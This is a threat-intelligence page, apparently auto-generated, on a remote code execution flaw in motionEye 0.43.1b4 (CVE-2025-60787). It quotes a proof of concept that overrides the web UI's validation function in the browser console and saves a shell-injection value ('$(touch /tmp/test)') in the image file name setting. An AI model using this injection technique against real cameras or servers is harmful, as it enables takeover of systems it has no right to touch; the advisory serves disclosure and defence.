motionEye 0.43.1b4 - RCE
motionEye 0.43.1b4 - RCE
AI Analysis
Technical Summary
motionEye version 0.43.1b4 is vulnerable to remote code execution, enabling attackers to run arbitrary code remotely. The exploit has been documented with an associated Exploit-DB ID 52481 and includes publicly available exploit code in text format. No affected versions list or patch information is available, and the service is not cloud-hosted.
Potential Impact
Successful exploitation could allow an attacker to execute arbitrary code on the system running motionEye 0.43.1b4, potentially leading to full system compromise. No known exploits in the wild have been reported at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access to the affected motionEye instance and monitor for suspicious activity related to this vulnerability.
Indicators of Compromise
- exploit-code: # Exploit Title: motionEye 0.43.1b4 - RCE # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC) # Filename: motioneye_rce_poc_edb.txt # Author: prabhatverma47 # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11 # Affected Versions: motionEye <= 0.43.1b4 # Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge # CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 # # Short description: # Client-side validation in motionEye's web UI can be bypassed via overriding the JS validation # function. Arbitrary values (including shell interpolation syntax) can be saved into the # motion config. When motion is restarted, the motion process interprets the config and # can execute shell syntax embedded inside configuration values such as "image_file_name". # # Safe PoC: creates a harmless file /tmp/test inside container (non-destructive). # # Environment setup: # 1) Start the motionEye docker image: # docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge # # 2) Verify version in logs: # docker logs motioneye | grep "motionEye server" # Expect: 0.43.1b4 (or <= 0.43.1b4 for vulnerable) # # 3) Access web UI: # Open http://127.0.0.1:9999 # Login: admin (blank password in default/edge image) # # Reproduction (manual + safe PoC): # A) Bypass client-side validation in browser console: # 1) Open browser devtools on the dashboard (F12 / Ctrl+Shift+I). # 2) In the Console tab paste and run: # # configUiValid = function() { return true; }; # # This forces the UI validation function to always return true and allows any value # to be accepted by the UI forms. # # B) Safe payload (paste this into Settings → Still Images → Image File Name and Apply): # $(touch /tmp/test).%Y-%m-%d-%H-%M-%S # # After applying, the PoC triggers creation of /tmp/test inside the motionEye container # (the "touch" is executed when motion re-reads the config / motionctl restarts). # # C) Verify from host: # docker exec -it motioneye ls -la /tmp | grep test # # Expected result: # /tmp/test exists (created with the permissions of the motion process). # # Notes / root cause: # - UI stores un-sanitized values into camera-*.conf (e.g., picture_filename), # which are later parsed by motion and interpreted as filenames – shell meta is executed. # - Fix: sanitize/whitelist filename characters (example sanitization provided in README). # # References: # - Original PoC & writeup: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter # - motionEye upstream: https://github.com/motioneye-project/motioneye # - OSV/GHSA advisories referencing this issue (published May–Oct 2025) # - NVD entries: CVE-2025-60787
motionEye 0.43.1b4 - RCE
Description
motionEye 0.43.1b4 - RCE
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
motionEye version 0.43.1b4 is vulnerable to remote code execution, enabling attackers to run arbitrary code remotely. The exploit has been documented with an associated Exploit-DB ID 52481 and includes publicly available exploit code in text format. No affected versions list or patch information is available, and the service is not cloud-hosted.
Potential Impact
Successful exploitation could allow an attacker to execute arbitrary code on the system running motionEye 0.43.1b4, potentially leading to full system compromise. No known exploits in the wild have been reported at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict access to the affected motionEye instance and monitor for suspicious activity related to this vulnerability.
Technical Details
- Edb Id
- 52481
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for motionEye 0.43.1b4 - RCE
# Exploit Title: motionEye 0.43.1b4 - RCE # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC) # Filename: motioneye_rce_poc_edb.txt # Author: prabhatverma47 # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11 # Affected Versions: motionEye <= 0.43.1b4 # Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge # CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 # # Short description: # Cli... (2295 more characters)
Threat ID: 698c72394b57a58fa193b5c7
Added to database: 2/11/2026, 12:12:41 PM
Last enriched: 4/7/2026, 11:04:08 AM
Last updated: 5/13/2026, 6:43:02 AM
Views: 827
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.